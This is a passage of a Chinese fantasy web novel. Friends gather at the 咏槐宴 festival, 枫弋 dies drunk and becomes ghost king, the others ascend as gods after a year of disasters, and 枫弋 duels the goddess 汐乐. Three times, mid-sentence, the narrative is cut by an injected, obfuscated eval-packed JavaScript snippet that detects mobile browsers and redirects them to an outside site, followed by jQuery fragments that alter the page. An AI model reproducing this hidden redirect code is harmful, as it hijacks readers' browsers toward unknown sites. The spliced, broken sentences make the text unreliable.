三月,云槐国主退位,太子弥祯即位,适逢咏槐宴,便借此广邀请各国于下月十五咏槐宴上共贺。 遥岐自是不必说,作为弥祯的朋友,明祈与枫弋虽是平民,自然也在邀请列中。 云槐地处北方,因王都生长着一棵百年槐树,但多年未曾开花。云槐开国国主斩暴君,定天下之时,那棵槐树意外地开花了,国主认为此乃大吉之兆,便将国号定为“云槐”。为纪念这一刻,国主下令在境内多处种槐,并在每年花期之时,举办咏槐宴。 咏槐宴更是云槐与周边国家做生意的好时候。 云槐是个强大却低调的国家。 云槐有一大名产——锻造师。 上至皇亲国戚,下至黎民百姓,对机关暗器无一不通,就连云槐的孩子儿时玩的都是各种机关做的小玩具。云槐人所制机关精密巧妙,世间仅有,非他人能仿,应用于战场上可极大的节省人力和伤亡。但云槐人不好战,建国以来,从不对外讨伐征战,但也绝不惧战,也因其机关制造名声在外,各国也不敢轻易进犯。 他国平战的方式,要么以战止战,要么公主和亲。 云槐却是反其道而行,与他国做起了机关生意,将云槐制造的额机关暗器卖给他国,上层所造用于捍卫疆土,下层所造用于日常耕作,虽然核心图纸仍旧掌握在云槐人手中,但对两国良向发展多有助益。 同时,云槐国主也会定期派人到各国学习,一方面是与各国交好,一方面是借此制衡各国,不敢轻易攻打云槐。且云槐人上下一心,外人也难以撼动,在他国眼中,云槐既是只可远观的莲花,亦是群狼环伺的猎物。 到了弥祯这一代,更是将祖宗的治国理念贯彻到底。他一生不修仙神,不问金银,唯有国家、妻子与挚友是他一生所求。 四月初十,槐花盛开。 为了迎接远道而来的各国使臣,王城外,少女们捧花,少男们执水,分别立于城门两侧,地上铺着一层鲜红厚实的地毯,从城门直通皇宫,待宾客入城时,鲜花与混着花露的水同时洒下,漫天花雨为宾客洗去一身风尘,意为“迎香去尘”。 王城内,人山人海。来自西域的乐队端坐在骆驼上演奏弹唱,自信忘我;南部的花车上青烟徐徐,一名少女卧在其中若隐若现,待看清时,却是一条吐着信子的黑蛇,神秘惊奇;西部的猎鹰和骏马,姿态昂扬,眼神锐利,一声啼鸣,洒脱不羁;东部的鱼舞,欢脱随性,舞者身着鱼皮做成的衣服,宛如水中游鱼,灵动自由。与之而来的,还有各国带来庆贺的数不尽的奇珍异宝。 高楼和沿街的百姓拍手叫好,欢呼声与乐声,在整座王城上空飘荡。 使臣们由国主亲自指派的迎接大臣及王庭内侍接待,将他们带入城中驿馆休息,十五之前可在王城内外尽情游玩,十五当日统一入朝赴宴。 遥岐与母依是跟着自家使团来的。明祈与云湘,还有枫弋是单独来的,但他们都由弥祯的亲随来接待。 翌日。 明祈带着云湘,遥岐带着母依,四人在街上闲逛,只余枫弋一个人在后面形单影只。 枫弋白了一眼面前正谈笑甚欢的两对,道:“你们一个两个的,出来逛非得带上我不可吗?” 四人闻言,一齐看向他,道:“你也可以像我们一样啊。” 枫弋内心无语,真是交友不慎! 未及枫弋说话,四人便将他舍了,奔着一个奇怪的小食摊子去了。枫弋叹了声气,只得快步跟上。 摊前挂的招牌名竟叫“卤汁臭卤味坊”。 那摊前支着一口大锅,里面是满满一锅的各式卤味,卤香中还混着浓郁的草药香,色泽诱人,正冒着热气呢。 摊主一边收拾着物什,一边吆喝:“卤汁臭卤味,保证香!” 摊主一见来人,紧忙擦擦手,来到几人跟前,笑道:“几位要不要尝尝我家的卤味?刚做好的,热乎着呢!” 母依狐疑道:“你为何要叫‘卤汁臭’?这臭了的卤汁还能用吗?我们闻着倒是挺香,你莫不是将臭了的卤汁与好的混在一起来诓骗我们吧!” 摊主一听,丝毫不见惊慌,反而笑了一声,从容道:“几位一看就是外地人。实不相瞒,小人名唤‘鲁智畴’,就取谐音‘卤汁臭’,意思就是鲁智畴的卤味保证香!” 几人这才明白过来,“卤汁臭”,“鲁智畴”,着实有趣。 遥岐道:“有意思。只是你这明明是个小摊子,为何要叫坊?” 鲁智畴道:“这卤味的手艺是我独创,我要将它做大做强,提早取好了名字,再传给后代,代代传承。” 几人相视一笑,明祈道:“好!那就让我们尝尝你这卤汁臭卤味是不是真的香!” 鲁智畴把手巾往肩上一搭,笑道:“好嘞!几位来看看想吃什么?”说罢,鲁智畴拿起锅边的勺子,指着锅里一个个格子,一一介绍,猪蹄、肠结、鸡翅、豆皮卷......应有尽有。 种类太多,几人一时不知该选什么才好。枫弋见他们迟迟不能决定,凑上前,道:“想那么多干什么?那就每样都来点儿,全都尝尝!” 鲁智畴一听可乐了,道:“得嘞!这位公子真有眼光,今日选了全家福,来日各位必然会幸福美满的!几位请稍候,我马上就把卤味端上来!” 几人在桌前落座,明祈猛拍了下脑门,道:“对啊!咱们就应该都尝尝,回头找那位给咱们报销!” 遥岐与母依闻言,赞同道:“你这主意不错!都到了他的地盘了,不宰他一顿不是白来一趟吗?” 枫弋点了点头,甚是欣慰地道:“你们总算是开窍了!” 须臾,云湘道:“虽然我也觉得不错,但咱们这样不太好吧。他刚刚登基,我们这样不会给他招来非议吗?” 遥岐摆摆手,道:“云湘你尽管放心,就吃他点东西,不会给他吃垮的,更不会让他以权谋私。” 母依也道:“就是。咱们在这吃好喝好,他高兴还来不及呢。” 明祈明白云湘的顾虑,其他人自是也知晓的。弥祯如今的身份是一国之君,今时不同往日,纵使几人情义深厚,身份更迭,所言所行自是不能和从前比较的,这背后还有多少双眼睛在盯着呢。 遥岐道:“别担心,我们几个的身份只有彼此知道。不管发生任何事,我们几个都绝不会散!天塌下来,还有我给你们顶着!” 母依拉过云湘的手,道:“咱们就尽情享受,回头咱们还要去赴宴,要是让他们俩知道你有这心思,可要不高兴了。”母依顿了片刻,又道,“虽然咱们来自不同的地方,但都不是吃素的,谁要是敢拿我们几个人做文章,我就放蛇咬他!” 话音刚落,鲁智畴就将满满一大盘子卤味端上桌,还配了一小碗蘸料和几样解腻的小菜。 枫弋当即就夹了一块肉放进嘴里,肥而不腻,瘦而不柴,咸淡适中,齿颊留香。枫弋赞道:“你这卤味还真是不错!对得起你这声吆喝!” 四人闻言,不尝也知这卤味错不了。 枫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14572618|146367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弋是一个很挑嘴的人,儿时流浪就因为没吃到顺口的食物,差点把自己饿死。后来跟随师父学武,挑嘴的习惯勉强改变了一些,但治标不治本。偏生他力气不小,人却一直很瘦,肤色又极白,不提斧时,看上去总带着一丝病态。 后来与遥岐等人结识,意外的,遥岐的厨艺治好了他挑嘴的毛病,一瞬间胃口大开。跟他们相处不过一月,整个人都壮实了不少,人也看着精神了,整个人完全脱胎换骨了。 云湘和明祈对此大受震撼,原本以为他是身体出了问题,偏他身体健康得很,就是太挑嘴,实在令人费解。 朋友们都感叹:枫弋能活到这么大真是一个奇迹! 四人纷纷动筷,皆是赞不绝口,只是总觉得还差点什么。 明祈抬手招呼鲁智畴,道:“店家,你这有没有酒啊?” 鲁智畴似是早就等着这句话,话音刚落,当即就从摊子下搬出一坛酒送了过来。 鲁智畴道:“这是我家娘子酿的槐花酿,清甜沁人,配上我这卤味最合适了!” 几人心照不宣地笑了一声,明祈道:“那就来一坛吧!” 鲁智畴笑呵呵地道:“得嘞!几位吃好喝好啊!” 这一顿吃得舒服,付完了钱,临走时,遥岐道:“祝你生意兴隆,早日把你的‘卤汁臭卤味坊’做大做强!希望下次来时,你已经把店铺做起来了!” 鲁智畴抱拳,道:“承您吉言!下次您几位再来时,我请你们吃!” 四月十五。 各国使臣入宫朝贺,一直持续到傍晚时分,宴会也在傍晚时分举行。 大殿上,弥祯与虞致身着华服,端坐上方,王室贵气尽显。 几人坐在下面望着弥祯,皆是眼前一亮。认识他这么多年,还是第一次见他这副打扮,即便知晓他的身份,但冷不丁一看还是有些不习惯。 明祈附在云湘耳边,低声道:“我可真是幸运啊!乌目太子、云槐国主、江湖侠客是我的朋友,还有你这位适约名医做我的妻子。我明祈真是上辈子烧高香,这辈子才能如此幸运啊!” 云湘笑道:“就你嘴贫。” 旁边的枫弋看到朋友们一个个都这么好,突然心生感慨:想他枫弋自幼漂泊,不知自己家在何方,父母为何?若不是遇到了师父,遇到了遥岐等人,即便没有饿死,也会注定孤独一生。 老天还真是待他不薄! 思绪上涌,枫弋心中欢喜,不由地多喝了几杯。他本就好酒,今日这样的日子,他更是不会错过。但他酒量极好,轻易不会喝醉,是以其他人都喝得醉醺醺的,独他还清醒着。 咏槐宴后,几人同弥祯虞致告别,各回各家。 枫弋一个江湖浪客,自是四海为家。但这几日他一直兴奋着,酒就喝得多了些。 某日,他提着酒壶,扛着长斧,在山中闲逛。他一路跌跌撞撞,一会笑,一会叫,待酒兴上头时,他随便找了个地方,抱着长斧,就地睡过去了。哪知,半夜入梦,身子不停地翻动,翻着翻着,竟是直接翻下了悬崖! 待他再次醒来时,一团绿幽幽的鬼火从他眼前飘过,险些把他眉毛燎着。 “嘶”的一声,枫弋睁开眼,看着眼前黑漆漆的一片,他踉跄着起身,却只觉脚下虚浮,低头一看,自己竟飘在半空中。正当他没反应过来怎么一回事时,一道声音在他耳边响起: “年轻的小鬼,欢迎来到焱刹场。” 须臾,枫弋冷笑一声,道:“你说老子死了?!” 45. 抗天灾一鬼二神 话音刚落,无数团鬼火蜂拥而上,将枫弋团团包围。它们像狗皮膏药一般缠在他身上,像蚂蚁一般小口地啃食他的灵魂,发出“咯吱咯吱”的声响,泛着细密的疼。这鬼火更是刺骨的冷,聚到一起又是烧灼的热,冰火两重天,简直是折磨人! 枫弋还没理清思绪,本就对自己莫名其妙死了的事心中不快,正憋着一肚子气,现下这些东西不要命似的扑到他身上,正好让他出出气。 只见他大手一抓,顿时将胸前的那团鬼火扯了下来,那些鬼火眼神迷离,口边还流淌着红色透明状的液体,一脸享受的样子,看着说不出的诡异。 枫弋蹙着眉,又极淡地笑了一声,道:“好吃吗?” 话音刚落,就将那团鬼火狠狠摔在地上,紧接着又起了一阵风,他竟是立在原地以极快的速度转起了圈,不见残影,只听见噼里啪啦的声音和被甩晕在地的鬼火们。 这还没完,待满身的鬼火都被甩掉后,他提起长斧,朝着地上的鬼火挥去。寒光一闪,“嗖嗖”几声,就将它们砍得面目全非,只剩一滩碎渣,边砍边大声撒气道:“真是靠了!老子喝个酒就死了!死就死吧,来到这乌漆嘛黑,鸟不拉屎的鬼地方,竟然还有你们这些小东西想把我吃了!睁大你们的死鱼眼看清楚!老子飘着呢!老子特么连肉身都没有了,灵魂还不放过!什么都敢吃也不怕被噎死!!!” 此时,一只隐于暗处良久的血红的眼睛缓缓睁开,它缓缓飘至枫弋身旁,道:“狂妄小鬼,脾气可真大。” 语气似是嘲笑,但更似兴奋。 枫弋抬起头,面前这只眼睛,外观与人眼无异,只是那眼眸深邃暗红,周身散发着黑紫的光晕,眼珠骨碌碌地转了一圈,只要与它对视,便会产生如坠虚空的恐惧和窒息感。 但这些对枫弋毫无作用。 枫弋莫名地看着这只眼,将白眼翻上了天,喃喃道:“又丑又老的独眼狼。” 话音刚落,他握紧手中的长斧,猛地朝它砍过去,道:“老子叫枫弋!你这个没脑子的独眼狼给我记住了!” 利刃挥下,顿时将那只眼劈成了两半,但顷刻间又恢复了原样。 那只眼呵呵笑道:“别费力气了,凭你是杀不了我的。” 枫弋再欲落斧,却忽然放下了。 那只眼道:“这就放弃抵抗了?” 刚刚那一通发泄完,枫弋已经平静了不少,方才转圈的功夫也记起了自己是醉酒坠崖而死,这倒是怨不得别人,但这只眼睛看着真让人不爽。 枫弋道:“你刚才说这里是什么地方?你又是谁?” 那只眼道:“此处乃鬼界焱刹场。吾乃渡,是这里的守护者,亦是历任鬼王的选拔者。” 焱刹场,妖魔鬼怪的角逐之地,亦是鬼王的诞生之地。这里有三十三重天关,每一重都驻守着穷凶极恶的异兽妖灵,更有摄人心魂的强大法术,若没有强大的武力和坚韧的心性,就会被里面的东西拆骨入腹,永不超生。 这还不算完,待闯出这三十三天关,还顾不上喘口气,转瞬就会落入化骨池,受“贪嗔痴慢疑”五重烈火焚身,只有经受住这五道烈火,方能浴火重生,脱胎换骨,成为鬼界之王。 古往今来,无数的妖魔鬼怪来到这里,想要成为鬼界之主,可不是折在了三十三天关,就是葬身在五道烈火之下,胜出者寥寥无几。 在外人眼中,鬼界是群魔乱舞之地,都以为此间人皆是恶徒。可他们,乃至死在这里的那些人都不明白,真正能够掌管鬼界的人,靠的不是野蛮邪恶,更不是借着鬼王的名号到处作乱的奸邪小人。 他们真正需要的,是能够守护鬼界万千生灵的人。 可如今的鬼界与天迦山相连,受神的管制,焱刹场连同这项古老的传统已经荒废多年。枫弋是这几百年间唯一一个来到这里的人。 思绪回转,枫弋不知是幸还是不幸。喝醉酒摔死就算了,死了还阴差阳错落到这里,他虽一介凡人,但这些年和遥岐他们一同查案,在人间各处走了一遭,断的是人间案,可这里头牵扯的可不止是人。 若是他能从这焱刹场闯出去,到那时对遥岐他们定是多有助益。 枫弋道:“若是我将这些都走一遭,需要多久?” 渡眼眸微颤,道:“你当真如此自信?就不怕死在这里?” 枫弋哈哈笑道:“据我所知,这里可不是什么人都能来的。我一死就掉到这个地方,这难道不是天意吗?” 渡道:“既入此间,入则死,出则生。少则十年,多则百年。” 枫弋听了直摇头,道:“不行!十年太久了,等我从这出去,黄花菜都凉了。我只要一年!” 渡看着眼前的年轻人,心道:“不自量力。” 少顷,渡道:“若你真能通过,我要你答应我一个条件。” 枫弋道:“什么条件?” 渡道:“我要你带领鬼界,不再受制于天迦山。” 枫弋挑了下眉,道:“我答应你。” 渡徐徐向后退去,“咻”的一声,四周霎时亮起一团团鬼火,一道门出现在枫弋的面前。 渡道:“年轻人,祝你好运。” ...... 人间。 自咏槐宴后,人间各地接连发生天灾,适约夏日飞雪,九漓洪水滔天,慕术地龙翻滚,乌目瘟疫肆虐,云槐旱引山火......一时间人心惶惶。 百姓们叫苦不迭,皆道这是天神降罚,人们纷纷到神庙前磕头祈福求饶,望神官降临,拯救苍生。一些国家的君主们更是一边救济灾民,一边开坛请神,素服节食,祈求神官降世。 一天。 两天。 半月。 一月。 始终未见一位神官临世。 朝廷拨款赈灾,可下面有些人却未能将全部赈灾物资运用到百姓身上,食难财,苦中安。可也有人为百姓四处奔走,路死骨,换民安。 有的人因山高水远,无法及时得到救助,不得不易子而食;有的人为了防止瘟疫扩散,将患病者集中一处大火烧死;有的人为送御寒衣物,单衣裹身,倒在了运送途中;有的人因始终得不到神仙的回应,一头撞死在神像前,死不瞑目...... 整个人间都笼罩在无尽的恐惧与绝望当中。 但遥岐几人从未放弃过。 因人间各国皆受天灾之苦,各国也因此团结一心,共抗天灾。 在此期间,几人多番打探枫弋的消息,却始终石沉大海。他们的心一直悬着,生怕他已经遭遇不测,却仍是不间断地寻找,期待重逢的那天。 遥岐和母依亲率医者深入民间,为百姓诊治,还将所患病症传书于明祈云湘,共同商讨治疗之法。弥祯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14617136|146367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 命底下官员设置防火线,并利用机关砍伐树木,以隔绝火源,同时建造风车,将高处的水引流至干旱地区。虞致更是带领官眷与工匠制作抗灾物资。 同时,各国之间,互通有无,经过一年的艰苦抗争,终于得见天光。 正逢此时,明祈培育出了一种在寒冰冻土绽放的花,取名“寄春朝”,本意是想激励人心,却不想意外让长达一年的冰雪消融,花开迎春。一时间,传遍大江南北,激发了无数人心中的希望。 其他各国的抗灾情况也在逐渐好转,正当大家以为这一切终于就要结束的时候,弥祯与明祈却突然收到一个噩耗。 遥岐与母依因这一年四处奔走,疲劳之下,不幸感染瘟疫,且症状来势汹汹,夫妻二人双双病逝。 枫弋尚未找到,遥岐和母依又突然病逝。一场天灾,痛失了三位挚友,这对剩下的四人来说,无疑是致命的打击。 在遥岐与母依安葬的那一天,天降祥云,风雨大作。 在电闪雷鸣之中,遥岐和母依飞升了。 与他们一道飞升的,还有明祈和云湘。 四人来到了天迦山,明祈为春神,云湘为医神,遥岐为武神,母依为文神。 只留弥祯虞致尚在人间。 这场长达一年的浩劫,也因四人的飞升而正式告终。 弥祯和虞致为他们高兴,人间百姓亦为他们喝彩,也正是因为遥岐四人的飞升,人们方才知晓,他们就是鼎鼎有名的“天稷四君”。 他们本就是民心所向,人间各处纷纷裱起他们的画像供奉,从前信奉其他神官的人们,纷纷改信他们,以至于信徒越来越多。但因天灾刚过,人间百废待兴,急需休养生息,故他们四人也是众神官中独一份儿的,没有一座宫观庙宇,声望却远超他人的神。 按理说,凡人飞升成神后,应与凡尘诸事就此了断,可他们几人的情谊却不是一个小小的飞升就能抵消得了的。 四人来到云槐找弥祯和虞致,依旧是旧时装扮,好像一切都没变,但举手投足间多了一丝神气,到底看着是与往日不同了。 唯一不变的是他们之间早已跨越世俗的情谊。 弥祯道:“如今各处都在传颂你们的事迹,作为你们的朋友,我深感荣幸。每每听人谈起你们,我都会非常高兴。” 明祈却觉得可惜,道:“我们几个人明明都做了许多,凭何就将你和虞致留在了这里。” 虞致道:“我倒觉得这是天道的礼物。如今诸事待兴,我们夫妻二人作为一国的君主与王后,正是需要我们的时候,断不能在此时离国家和百姓而去。若连我们也去了,那他们该怎么办?” 弥祯笑道:“知我者,阿致也。再说了,当神仙有你们几个就够了,正好让我和阿致沾你们的光。” 遥岐道:“好啊!你也开始打趣我们了!” 众人闻言大笑。 弥祯在王城外的别院设宴款待他们,准备的都是他们爱吃的菜,可惜却少了枫弋。 谈笑间,多了一丝伤感。 弥祯道:“也不知枫弋到底身在何处?” 明祈饮下一杯酒,道:“这老疯子还真是个疯子!一声不响就消失,做神了竟还找不到一点消息!难道他还能钻进地底躲起来不成?” 翌日。 鬼界躁动,万鬼狂欢,新的鬼王诞生了。 46. 鬼遇神不打不识 枫弋果然如他所说,只用了一年,便从焱刹场闯了出来。 做了鬼之后,特别是经历了那一遭,他彻底脱胎换骨,浑身上下是说不出的痛快又舒爽。原本死气沉沉的鬼界,也在他成为鬼王的那一刻重现昔日光彩。 千渡川上化虚莲竞相开放,千灯明明,鬼界上下接连庆贺三日,载歌载舞,把酒言欢。往日阴霾尽散,万千生灵离魂归一。 万鬼敬奉,与有荣焉。 枫弋始终记着与渡的约定,所以他上任做的第一件事,就是斩断了天迦山与鬼界的联系。破除封印的同时,还将那些驻守在鬼界的小神官们统统打包送回了天迦山,还挂了个“安全到家”的牌子。整套过程行云流水,毫不拖沓。 他自知误入焱刹场,还成了鬼王,虽是他自愿,可也来得突然。 鬼界百废待兴,他根本还没来得及摸清个中详情,只怪自己当初没仔细问清楚。现下看鬼界的样子,天迦山所为确对鬼界不利。此事既定,不可更改,更何况还有那几个尚在人间的挚友,往后需得谨慎行事,决不能冒然起冲突。 最根本的原因,虽然神官们死后不入轮回,但人神鬼共存于天地,彼此息息相关,若起争端,则天地难安。 既已坐上这鬼王的位置,定会护鬼界万全。 他是如此想,可天迦山众神却不这么想。 不知从哪冒出来的矛头小鬼,一声不响地破了封印,还将神官们以这样“屈辱”的方式送了回来,简直就是明晃晃的挑衅。天帝当即派汐乐将军带一队神兵去讨伐枫弋。 汐乐不想引起人间慌乱,遂将地点定在了人鬼交界的一处荒芜的无人之境。她到时,只见氤氲黄沙中,一人抱着长斧,侧身倚靠在一块石头上,姿态闲散。那人一身黑紫短打,卷发如虿,古铜色的脸庞棱角分明,他似是在笑,远远望去,如误探圆华惊魅蛾。 如此一人,此刻却在赏景喝酒嗑瓜子,悠哉快哉。而他的身后无一兵一卒,只有他自己。 这人正是枫弋。 “......” 汐乐提枪上前几步,高声道:“阁下可是那新上任的鬼王?” 枫弋闻言,转过身来,朝远处的众人挥挥手,还捧起一把瓜子,笑道:“是我是我!我这刚炒出来的瓜子,还热乎着呢!你们要不要一起过来吃点儿?” “......” 汐乐皱眉,直觉面前之人太过随便,并且第一次怀疑天迦山的情报有误。 此人当真是鬼王? 不仅如此,瞧他一派气定神闲,再反观自己和后面严阵以待的神兵们,两相对比之下,倒显得他们小题大做,胜之不武了。可细思之下,又觉他如此行径定是叫他们放松警惕,再趁其不备,一网打尽。思及此,汐月立在原地没动。 枫弋看他们一副谨慎提防的样子,无奈地摇了摇头,脑子里灵光一闪,嗤笑一声,又转过身继续嗑起了瓜子。 众人傻眼了,他到底是什么意思?瞧不起他们吗? 神兵中有一人已经按耐不住,道:“将军,鬼界妖邪向来狡诈不知感恩。他初出茅庐就敢与天迦山对立,不分青红皂白罔顾帝君对鬼界的照拂,如今又是这副小人得志的嘴脸,分明是不把帝君和天迦山放在眼里!属下这就去斩了这妖孽!”说罢,便要冲出去与枫弋对战,其他人也应喝着与他同去。 汐乐持枪将他们拦下,道:“你们切勿冲动,小心落入对方的圈套。我一人前去即可。” 神兵道:“将军不可!” 汐乐道:“我意已决,你们在此等候便可。” 话音刚落,汐乐飞身一跃,在离枫弋十步远的地方停下。 须臾,枫弋才转头看向汐乐,方才离得远,看得不真切,如今倒是看清楚了。面前的女子,面宽颧丰,眉眼间英气纵横,长发高束,身形高挑,一身红甲配银枪,风骨之姿尽显。不愧是个将军。 枫弋挑挑眉,又抓起一把瓜子,道:“这么快就过来了,我还以为要等很久呢。喏,将军可要尝尝?” “嗖”的一声,汐乐的长枪抵在了枫弋的颈上,道:“如此戏耍于我等有意思吗?是男人就起来和我打一场!” 枫弋目光不移,两指夹着枪锋慢慢地移开,歪头笑道:“将军这是何意啊?我好心好意请你嗑瓜子,你却说我在戏耍你,难道你们天迦山的神仙们都是这般冷血无情的吗?总不能仗着我是新来的就欺负我吧?” 汐乐立时收回长枪,厉声道:“你休要胡言!若不是你有意挑衅,帝君又怎会派我来此?” 枫弋“哦?”了一声,道:“在下一不小心成了鬼王,又一不小心破了天迦山设在鬼界的封印,这确有不妥。可鬼界生灵齐乐,我又将那些小神官们好好地送回了家,帝君既提倡苍生共荣,难道没看出在下的向好之心,反倒以为我在挑衅吗?” 汐乐被他的话噎了一下,一时不知该如何应答。 枫弋长叹一声,一口气将剩余的酒全都喝了,大手一挥,揩去了嘴边的酒渍,眉眼低垂,耷拉着身子,像是受了天大的委屈,喃喃道:“到底是我错了,本是一心向好,却惹出这天大的误会。我真是好冤枉啊......” 汐乐被他这一出搞得手足无措,心中转而升起一股愧疚,因为她也觉得枫弋说的没错。 她虽是武神,可资历尚浅,对过往之事知之甚少。只知早在她飞升之前,帝君便已掌管鬼界多年。据说是因上一任鬼王纵容属下越界作乱被帝君处死,又因鬼界迟迟没有新的鬼王诞生,帝君便以“维护苍生稳定”之名接掌鬼界。 鬼王是支撑鬼界发展的根基,鬼王生则鬼界存,鬼王死则鬼界灭。外人是无法干预的,若强行干预必遭反噬。 新的鬼王诞生,鬼界可恢复正常秩序,帝君也不必再耗损法力维持,鬼王上任也并未主动挑起争端。 这明明是好事,为何帝君还要派她来讨伐?为何天迦众神对这个新鬼王意见如此之大? 还有面前这个人,是善是恶尚不分明,但今日之事必须有个结果。 枫弋似是看出她的顾虑,道:“将军,咱们打个商量?” 汐乐道:“你要做什么?” 枫弋一手撑着下巴,仰头看她,道:“我无意与你们起冲突,但你们来都来了,也不能让你们白来。咱俩现在就打一架,打个平手,你回去也好交差。将军意下如何?” 汐乐肃然道:“要打就堂堂正正的打,这样才真实。” 须臾静默,枫弋干脆地道:“行啊,我还是第一次和神仙打架呢!咱们争取速战速决,我还赶着回家呢!” 话音刚落,枫弋一改方才的闲散随性,目光一凛,单手抡起长斧,寒光与黄沙飞闪,将汐乐逼退到十米之外。 枫弋道:“将军可要小心了,小心我这斧头不认人!” 汐乐道:“你也要当心了。” 长枪在手,汐乐全神贯注,屏息凝神,目光紧锁那寒冰一般的斧刃,一个箭步冲上前去,法力汇聚于枪锋,直击他的印堂。 刹那间,尘土飞扬,天地失色,只听利刃相击之声时起,又见一红一黑两道残影在黄沙中来回周旋。外头的人不知里面战况如何,神兵中有几人想冲上前去帮忙,却被为首的拦下。 那神兵道:“将军法力高强,定会打败那只鬼。我们切勿插手,以免坏了将军的计划。” 众人听罢,只得留在原地等待。 枫弋与汐乐在黄沙幻影中大战了几十个回合,待沙土散去,二人嘴角溢血,看上去有些许狼狈,但看二人稳稳当当地站着,应是没受什么重伤。 远处的众神兵一时捉摸不透眼前是什么情况,到底是谁赢了?可瞧着二人状态还不错,难不成是打了个平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14700306|146367||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手? 一神官道:“想不到这个鬼王这么厉害!汐乐将军作为武神中唯一的女将军,虽然资历比不上其他两位,可这实力却完全不输啊!这鬼王竟能和汐乐将军打成平手,怪不得帝君要来讨伐,这可是个祸患啊!” “就是就是!此鬼凶险,帝君又要烦忧了。” “鬼界都由帝君接管这么久了,竟还有不轨之人妄图取代,狂妄至极!” ...... 神兵们叽叽喳喳说了一堆,远处的二人却一丁点都没听见。 枫弋望着眼前的女子,心底不由升起一股敬意。想他做人时,也碰到过不少能打的人,但还没几个人能让他打心底里佩服,同时又能让他打得痛快。汐乐绝对算一个。 枫弋毫不掩饰地夸赞道:“你很厉害!虽然只有几十个回合,但跟你打可比跟那些怪物们打有意思多了!” 汐乐收起长枪,笑道:“今日承让,你也不错。” 枫弋道:“我叫枫弋,你叫什么名字?” 汐乐怔了片刻,道:“汐乐。” 枫弋挑挑眉,道:“谢谢你,我记住了。” 汐乐不解,这人真奇怪,好端端的,作何要说谢谢? 枫弋瞟了一眼远处还在谈论的神兵,嗤笑一声,道:“待你回天迦山复命时,记得替我向你们的帝君带个好。如果他愿意,欢迎他随时来鬼界做客,好感谢他对鬼界多年照拂之情。” 汐乐顿了一下,道:“鬼界若不生事自是再好不过。帝君那头我自会分说。” 枫弋笑道:“那再好不过。既如此,我就先撤了。下次再见,汐乐。”枫弋将最后那句话刻意放缓,说得认真又慎重,随后他便转过身,摆摆手,潇洒离去。 不多时,那道黑衣身影,渐渐地,在漫漫黄沙下,在汐乐的眼中,消失无踪。 枫弋一回到鬼界,就张罗着各种礼物要带给朋友们,毕竟消失了这么久,回去总要带点诚意的。众鬼听闻都争相献宝,想要借此感谢这位救他们于水火的鬼王。 心意不假,可他们的宝物实在不宜送人—— 鬼哭狼嚎大喇叭:一旦吹响,声音能让整个鬼界的小鬼们瞬间抱头痛哭,灵魂都被震得瑟瑟发抖; 超级吸魂大漩涡:这玩意儿就像一个无底洞,只要在鬼界开启,瞬间就能把周围的魂魄吸个精光。不把那魂魄的脑浆都晃匀,是出不来的; 万鬼夜行披风:披上它,瞬间就能召唤出成千上万只恶鬼为你所用。这些恶鬼张牙舞爪、青面獠牙,所到之处阴气弥漫,飞沙走石,还会隐藏使用者的气息,让你在鬼界想干啥都没人发现,宛如一个透明人; 鬼界辣条:吃了它,全身会燃起蓝色的鬼火,让你的力量瞬间爆棚,身体坚硬得如千年玄铁,一拳轰平一座山,而且辣味能让周围闻到的鬼魂吓得屁滚尿流,逃得远远的,堪称鬼界“防鬼神器”。 以上,只适用于鬼界境内,且多用于鬼魂间日常消遣玩闹。 难道就没有正常点的东西吗? 当然有。 但那些东西因都产自鬼界,故鬼气满满,实在不宜给大活人用。 枫弋十分头疼,正欲想用什么方法补救时,他派去人间打探消息的小鬼回来了。 听了小鬼的一番汇报,枫弋眉头紧锁,只觉脑袋快要炸开了。他万万没想到在他不在的这一年竟发生了这么多事! 枫弋不敢想,他们这一年过得是如何艰难,找不到他的消息又是如何着急。 还有最重要的一点,他如今成了鬼王,鬼界又与天迦山不和,也不知是否会影响到他们几个。 令他没想到的是,短短一年,枫弋和明祈一家成神了!弥祯和虞致却还留在人间! 而他做鬼了! 不知怎的,枫弋突然笑了,他们几个如今不是妥妥的三足鼎立吗。 47. 笑戏言芳心明许 枫弋用几人独有的联络方式给他们发了信号,本想定在他们初次见面的凤鸣岭,但考虑到弥祯如今的身份,就将地点定在了云槐境内的终无山。 几人一收到消息连忙赶来,可到了山顶却不见人。 天知道,当他们得知枫弋还活着时内心有多激动,就在知道他成了鬼王时有多震惊。他们怎么也没想到,枫弋就这么一声不响地去做了鬼王,害他们这一年苦苦寻觅又担惊受怕。 明祈大声道:“枫弋你这疯子没死还不快快给我滚出来!知不知道我们有多担心你!” 